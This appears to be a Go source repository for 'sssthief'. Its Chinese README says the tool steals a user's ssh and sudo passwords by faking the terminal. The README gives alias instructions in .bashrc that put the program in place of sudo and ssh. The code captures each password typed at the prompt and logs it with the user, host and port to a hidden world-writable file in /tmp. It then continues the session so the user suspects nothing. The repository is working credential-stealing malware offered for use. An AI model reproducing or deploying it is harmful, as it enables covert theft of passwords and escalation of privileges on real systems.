├── README.md ├── go.mod ├── go.sum ├── main.go ├── ssh.go ├── su.go ├── sudo.go └── util.go /README.md: -------------------------------------------------------------------------------- 1 | # sssthief 2 | 3 | 窃取当前用户的ssh,sudo密码 4 | 5 | 通过模拟一个终端劫持用户的输入输出以达到窃取密码的目的,目前仅支持中文与英文系统环境 6 | 7 | cp test_linux_amd64 sudo 8 | 9 | cp test_linux_amd64 ssh 10 | 11 | ~/.bashrc 12 | 13 | alias sudo="程序路径/sudo" 14 | 15 | alias ssh="程序路径/ssh" 16 | 17 | 18 | 密码保存到/tmp/.1.swap 19 | 20 | ps:su窃取功能未完成 21 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module sssthief 2 | 3 | go 1.17 4 | 5 | require ( 6 | github.com/google/goterm v0.0.0-20200907032337-555d40f16ae2 7 | github.com/satori/go.uuid v1.2.0 8 | golang.org/x/crypto v0.0.0-20220313003712-b769efc7c000 9 | ) 10 | 11 | require ( 12 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1 // indirect 13 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect 14 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c // indirect 15 | ) 16 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/google/goterm v0.0.0-20200907032337-555d40f16ae2 h1:CVuJwN34x4xM2aT4sIKhmeib40NeBPhRihNjQmpJsA4= 2 | github.com/google/goterm v0.0.0-20200907032337-555d40f16ae2/go.mod h1:nOFQdrUlIlx6M6ODdSpBj1NVA+VgLC6kmw60mkw34H4= 3 | github.com/kr/pretty v0.2.1 h1:Fmg33tUaq4/8ym9TJN1x7sLJnHVwhP33CNkpYV/7rwI= 4 | github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= 5 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= 6 | github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= 7 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= 8 | github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww= 9 | github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= 10 | golang.org/x/crypto v0.0.0-20220313003712-b769efc7c000 h1:SL+8VVnkqyshUSz5iNnXtrBQzvFF2SkROm6t5RczFAE= 11 | golang.org/x/crypto v0.0.0-20220313003712-b769efc7c000/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= 12 | golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= 13 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 14 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 15 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1 h1:SrN+KX8Art/Sf4HNj6Zcz06G7VEz+7w9tdXTPOZ7+l4= 16 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 17 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 h1:v+OssWQX+hTHEmOBgwxdZxK4zHq3yOs8F9J7mk0PY8E= 18 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 19 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 20 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 21 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= 22 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= 23 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | uuid "github.com/satori/go.uuid" 5 | "os" 6 | "path" 7 | "strings" 8 | ) 9 | 10 | const tempPath = "/tmp" 11 | 12 | //TODO 添加全局变量来设置选项 13 | //TODO delete debug 14 | //const tempPath = "./" 15 | 16 | var filename = path.Join(tempPath, ".1.swap") 17 | var _, program = path.Split(os.Args[0]) 18 | var scriptName = path.Join(tempPath, "."+uuid.NewV4().String()) 19 | 20 | var fd = int(os.Stdin.Fd()) 21 | var cmd = program + " " + strings.Join(os.Args[1:], " ") 22 | 23 | func main() { 24 | if program == "sudo" { 25 | cheatSudo() 26 | } 27 | //TODO 未经测试,切换用户后tab无法自动补全,无法交互,ps字符会被退格键删除 28 | if program == "su" { 29 | cheatSu() 30 | } 31 | if program == "ssh" { 32 | cheatSSH() 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /ssh.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "github.com/google/goterm/term" 6 | "golang.org/x/crypto/ssh" 7 | "golang.org/x/crypto/ssh/terminal" 8 | "os" 9 | "os/exec" 10 | "regexp" 11 | "strings" 12 | "syscall" 13 | "time" 14 | ) 15 | 16 | //var SSHIgnore = regexp.MustCompile("not a terminal") 17 | var SSHAsk = regexp.MustCompile(`(assword.*:)|(attempts)|(密码.*:)|(重试)|(错误)`) 18 | var SSHAskEnd = regexp.MustCompile(`(: $)|(:$)`) 19 | var SSHSuccess = regexp.MustCompile(`(Welcome to)|(Last login)|(Last failed login)`) 20 | var SSHIfFirst = regexp.MustCompile(`^(The authenticity)`) 21 | var SSHFirngerprintPrefix = regexp.MustCompile(`Are you sure`) 22 | var SSHFirngerprintSuffix = regexp.MustCompile(`\?`) 23 | 24 | func cheatSSH() { 25 | var pty, err = term.OpenPTY() 26 | ExecIfErr(err) 27 | var user, password, ip, port string 28 | c := exec.Command("ssh", os.Args[1:]...) 29 | c.Stdout = pty.Slave 30 | c.Stdin = pty.Slave 31 | c.Stderr = pty.Slave 32 | c.SysProcAttr = &syscall.SysProcAttr{ 33 | Setsid: true, 34 | Setctty: true} 35 | c.Start() 36 | 37 | var p ptyReader 38 | p.Reader(pty) 39 | p.AddRule(SSHAsk, SSHAskEnd) 40 | p.AddRule(SSHFirngerprintPrefix, SSHFirngerprintSuffix) 41 | 42 | var First bool 43 | var AskPass bool 44 | go func() { 45 | defer func() { 46 | p.ReadLock <- struct{}{} 47 | }() 48 | line := p.Readline() 49 | if strings.TrimSpace(line) == "" { 50 | line = p.Readline() 51 | } 52 | if SSHIfFirst.MatchString(line) { 53 | First = true 54 | fmt.Print(line) 55 | for { 56 | line = p.Readline() 57 | fmt.Print(line) 58 | if SSHFirngerprintSuffix.MatchString(line) { 59 | var input string 60 | fmt.Scanln(&input) 61 | if !strings.Contains(strings.ToLower(input), "n") { 62 | pty.Master.WriteString("yes\r") 63 | } else { 64 | os.Exit(1) 65 | } 66 | p.Readline() 67 | p.Readline() 68 | line = p.SteamPrint(SSHAsk, SSHAskEnd) 69 | break 70 | } 71 | } 72 | } 73 | if !failAuthRE.MatchString(line) && !First { 74 | return 75 | } 76 | AskPass = true 77 | //fmt.Println(">> yes") 78 | for { 79 | if p.IsClose() { 80 | return 81 | } 82 | if password != "" && failAuthRE.MatchString(line) { 83 | WritePassword(password + " error") 84 | password = "" 85 | } 86 | if strings.TrimSpace(line) != "" && password != "" { 87 | user, ip, port = getSSHInfo() 88 | prefix := user + " " + ip + " " + port 89 | WritePassword(prefix + " " + password + " success") 90 | c.Process.Kill() 91 | return 92 | } 93 | 94 | fmt.Print(line) 95 | if SSHAsk.MatchString(line) && SSHAskEnd.MatchString(line) { 96 | password = GetPassword() 97 | pty.Master.WriteString(password + "\r") 98 | } 99 | line = p.Readline() 100 | } 101 | 102 | }() 103 | c.Wait() 104 | if AskPass { 105 | time.Sleep(time.Second / 2) 106 | } 107 | p.Close() 108 | 109 | if AskPass && password != "" { 110 | startSSHShell(user, password, ip, port) 111 | } 112 | if !AskPass && password == "" { 113 | ExecScript(cmd) 114 | } 115 | } 116 | func getSSHInfo() (string, string, string) { 117 | var user, ip, port string 118 | infoRE := regexp.MustCompile(`\s(.+?)@(\d+\.\d+\.\d+\.\d+)`) 119 | info := infoRE.FindAllStringSubmatch(strings.Join(os.Args, " "), 1) 120 | portRE := regexp.MustCompile(`-p\s+(\d+)`) 121 | portInfo := portRE.FindAllStringSubmatch(strings.Join(os.Args, " "), 1) 122 | if len(info[0]) == 3 { 123 | user = info[0][1] 124 | ip = info[0][2] 125 | } else { 126 | return "", "", "" 127 | } 128 | if len(portInfo) == 0 { 129 | port = "22" 130 | } else if len(portInfo[0]) == 2 { 131 | port = portInfo[0][1] 132 | } else { 133 | return "", "", "" 134 | } 135 | return user, ip, port 136 | } 137 | func startSSHShell(user string, password string, ip string, port string) { 138 | 139 | client, err := ssh.Dial("tcp", ip+":"+port, &ssh.ClientConfig{ 140 | User: user, 141 | Auth: []ssh.AuthMethod{ssh.Password(password)}, 142 | HostKeyCallback: ssh.InsecureIgnoreHostKey(), 143 | }) 144 | CheckErr(err) 145 | session, err := client.NewSession() 146 | defer session.Close() 147 | fd := int(os.Stdin.Fd()) 148 | oldState, err := terminal.MakeRaw(fd) 149 | CheckErr(err) 150 | defer terminal.Restore(fd, oldState) 151 | // 拿到当前终端文件描述符 152 | termWidth, termHeight, err := terminal.GetSize(fd) 153 | // request pty 154 | err = session.RequestPty("xterm-256color", termHeight, termWidth, ssh.TerminalModes{}) 155 | CheckErr(err) 156 | // 对接 std 157 | session.Stdout = os.Stdout 158 | session.Stderr = os.Stderr 159 | session.Stdin = os.Stdin 160 | 161 | err = session.Shell() 162 | err = session.Wait() 163 | 164 | } 165 | -------------------------------------------------------------------------------- /su.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "github.com/google/goterm/term" 7 | "os" 8 | "os/exec" 9 | "regexp" 10 | "strings" 11 | "syscall" 12 | ) 13 | 14 | var SuFail = regexp.MustCompile(`failure`) 15 | var SuAsk = regexp.MustCompile(`assword: $`) 16 | 17 | func cheatSu() { 18 | var pty, err = term.OpenPTY() 19 | ExecIfErr(err) 20 | c := exec.Command("su", os.Args[1:]...) 21 | c.Stdout = pty.Slave 22 | c.Stdin = pty.Slave 23 | c.Stderr = pty.Slave 24 | c.SysProcAttr = &syscall.SysProcAttr{ 25 | Setsid: true, 26 | Setctty: true} 27 | c.Start() 28 | var password string 29 | var line string 30 | var lineByte []byte 31 | var AskPass bool 32 | var readLock = make(chan struct{}) 33 | var ps1 string 34 | go func() { 35 | for { 36 | v, err := pty.ReadByte() 37 | if err != nil { 38 | //log.Fatalln(err) 39 | readLock <- struct{}{} 40 | return 41 | } 42 | lineByte = append(lineByte, v) 43 | line = string(lineByte) 44 | 45 | if SuAsk.MatchString(line) { 46 | fmt.Print(line) 47 | AskPass = true 48 | password = GetPassword() 49 | pty.Master.WriteString(password + "\r\n") 50 | line = "" 51 | lineByte = nil 52 | } 53 | if (v == 10 || v == 13) && AskPass { 54 | if password != "" && SuFail.MatchString(line) && strings.TrimSpace(line) != "" { 55 | WritePassword(password + " error") 56 | password = "" 57 | } else if password != "" && strings.TrimSpace(line) != "" { 58 | WritePassword(password + " success") 59 | //password = "" 60 | //test 61 | 62 | // method 1 63 | //pty.Master.WriteString("chmod 777 ./suid\n") 64 | //pty.Master.WriteString("chown root ./suid\n") 65 | //pty.Master.WriteString("chmod +s ./suid\n") 66 | //time.Sleep(time.Second/2) 67 | 68 | // method 2 69 | ps1 = strings.TrimSpace(line) 70 | startTerm(pty, ps1) 71 | //fmt.Println("ps1=",ps1) 72 | 73 | c.Process.Kill() 74 | readLock <- struct{}{} 75 | return 76 | } 77 | fmt.Print(line) 78 | line = "" 79 | lineByte = nil 80 | } 81 | 82 | } 83 | }() 84 | c.Wait() 85 | pty.Close() 86 | <-readLock 87 | if AskPass && password != "" { 88 | //c := exec.Command("./suid") 89 | //c.Stdout = os.Stdout 90 | //c.Stdin = os.Stdin 91 | //c.Stderr = os.Stderr 92 | //c.Run() 93 | } 94 | if !AskPass { 95 | ExecScript(cmd) 96 | } 97 | } 98 | func startTerm(pty *term.PTY, ps1 string) { 99 | var line string 100 | for { 101 | v, err := pty.ReadByte() 102 | if err != nil { 103 | return 104 | } 105 | fmt.Print(string(v)) 106 | line = line + string(v) 107 | if v == 10 || v == 13 { 108 | line = "" 109 | } 110 | if strings.HasPrefix(line, ps1+" ") { 111 | //fmt.Println("oooooo:", cmdline) 112 | fmt.Println("11") 113 | reader := bufio.NewReader(os.Stdin) 114 | input, _ := reader.ReadString('\n') 115 | input = strings.TrimSpace(input) 116 | pty.Master.WriteString(input + "\n") 117 | //fmt.Println(input) 118 | for i := 0; i < len(input+"\n"); i++ { 119 | pty.ReadByte() 120 | } 121 | line = "" 122 | } 123 | } 124 | 125 | //terminal.Restore(syscall.Stdin, oldTermState) 126 | } 127 | -------------------------------------------------------------------------------- /sudo.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "github.com/google/goterm/term" 6 | "os" 7 | "os/exec" 8 | "regexp" 9 | "strings" 10 | "time" 11 | ) 12 | 13 | var failAuthRE = regexp.MustCompile(`(assword.*:)|(attempts)|(密码.*:)|(重试)|(错误)|(try again)|( denied)`) 14 | var SudoAskPrefix = regexp.MustCompile(`^\[sudo\]`) 15 | var SudoAskEnd = regexp.MustCompile(`(: $)|(:$)`) 16 | 17 | func cheatSudo() { 18 | var pty, err = term.OpenPTY() 19 | ExecIfErr(err) 20 | var password string 21 | var inputArgs []string 22 | 23 | suCmd := false 24 | for _, v := range os.Args[1:] { 25 | if v == "su" { 26 | suCmd = true 27 | } 28 | } 29 | if suCmd { 30 | inputArgs = []string{"-S", "-v"} 31 | } else { 32 | inputArgs = append([]string{"-S"}, os.Args[1:]...) 33 | } 34 | c := exec.Command("sudo", inputArgs...) 35 | c.Stdout = pty.Slave 36 | c.Stdin = pty.Slave 37 | c.Stderr = pty.Slave 38 | err = c.Start() 39 | ExecIfErr(err) 40 | 41 | var p ptyReader 42 | p.Reader(pty) 43 | p.AddRule(SudoAskPrefix, SudoAskEnd) 44 | 45 | var AskPass bool 46 | go func() { 47 | defer func() { 48 | p.ReadLock <- struct{}{} 49 | }() 50 | 51 | line := p.Readline() 52 | if !failAuthRE.MatchString(line) || line == "" { 53 | return 54 | } 55 | AskPass = true 56 | for { 57 | if p.IsClose() { 58 | return 59 | } 60 | if password != "" && failAuthRE.MatchString(line) { 61 | WritePassword(password + " error") 62 | password = "" 63 | } 64 | if strings.TrimSpace(line) != "" && password != "" { 65 | WritePassword(password + " success") 66 | return 67 | } 68 | 69 | fmt.Print(line) 70 | if SudoAskEnd.MatchString(line) && SudoAskPrefix.MatchString(line) { 71 | password = GetPassword() 72 | pty.Master.WriteString(password + "\r") 73 | } 74 | line = p.Readline() 75 | } 76 | }() 77 | 78 | c.Wait() 79 | if AskPass { 80 | time.Sleep(time.Second / 2) //适配中文语言Linux环境的bug 81 | } 82 | p.Close() 83 | 84 | if suCmd && password != "" { 85 | WritePassword(password + " success") 86 | } 87 | if !AskPass { 88 | ExecScript(cmd) 89 | } 90 | if password != "" { 91 | ExecScript(cmd) 92 | } 93 | } 94 | -------------------------------------------------------------------------------- /util.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "github.com/google/goterm/term" 6 | "golang.org/x/crypto/ssh/terminal" 7 | "io/ioutil" 8 | "log" 9 | "os" 10 | "os/exec" 11 | "regexp" 12 | "time" 13 | ) 14 | 15 | type ptyReader struct { 16 | pty *term.PTY 17 | ReadLock chan struct{} 18 | rules [][]*regexp.Regexp 19 | isClose bool 20 | } 21 | 22 | func (p *ptyReader) Reader(pty *term.PTY) { 23 | p.pty = pty 24 | p.ReadLock = make(chan struct{}) 25 | } 26 | func (p *ptyReader) AddRule(rule ...*regexp.Regexp) { 27 | p.rules = append(p.rules, rule) 28 | } 29 | 30 | func (p *ptyReader) Readline() string { 31 | var lineByte []byte 32 | for { 33 | v, err := p.pty.ReadByte() 34 | if err != nil { 35 | p.isClose = true 36 | return "" 37 | } 38 | lineByte = append(lineByte, v) 39 | if v == 10 || v == 13 { 40 | return string(lineByte) 41 | } 42 | for _, rl := range p.rules { 43 | var notMatch bool 44 | for _, r := range rl { 45 | if !r.MatchString(string(lineByte)) { 46 | notMatch = true 47 | break 48 | } 49 | } 50 | if !notMatch { 51 | return string(lineByte) 52 | } 53 | } 54 | } 55 | } 56 | func (p *ptyReader) SteamPrint(stopRule ...*regexp.Regexp) string { 57 | var lineByte []byte 58 | for { 59 | v, err := p.pty.ReadByte() 60 | if err != nil { 61 | //p.Done() 62 | //p.Close() 63 | p.isClose = true 64 | } 65 | lineByte = append(lineByte, v) 66 | if v == 10 || v == 13 { 67 | fmt.Print(string(lineByte)) 68 | lineByte = nil 69 | } 70 | var notMatch bool 71 | for _, r := range stopRule { 72 | if !r.MatchString(string(lineByte)) { 73 | notMatch = true 74 | break 75 | } 76 | } 77 | if !notMatch { 78 | //fmt.Print(string(lineByte)) 79 | //lineByte = nil 80 | return string(lineByte) 81 | } 82 | } 83 | } 84 | func (p *ptyReader) IsClose() bool { 85 | return p.isClose 86 | } 87 | func (p *ptyReader) Close() { 88 | p.pty.Close() 89 | <-p.ReadLock 90 | } 91 | 92 | func ExecIfErr(err error) { 93 | if err != nil { 94 | ExecScript(cmd) 95 | os.Exit(1) 96 | } 97 | } 98 | func CheckErr(err error) { 99 | if err != nil { 100 | os.Exit(1) 101 | } 102 | } 103 | func WritePassword(content string) { 104 | file, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0777) 105 | if err != nil { 106 | log.Fatalln(err) 107 | } 108 | defer file.Close() 109 | timeStr := time.Now().Format("2006-01-02 15:04:05") 110 | file.WriteString(timeStr + " " + program + " " + content + "\n") 111 | } 112 | func GetPassword() string { 113 | bytePassword, _ := terminal.ReadPassword(fd) 114 | 115 | return string(bytePassword) 116 | } 117 | func ExecScript(content string) { 118 | ioutil.WriteFile(scriptName, []byte(content), 777) 119 | c := exec.Command("/bin/bash", scriptName) 120 | c.Stdin = os.Stdin 121 | c.Stderr = os.Stderr 122 | c.Stdout = os.Stdout 123 | c.Run() 124 | os.Remove(scriptName) 125 | } 126 | --------------------------------------------------------------------------------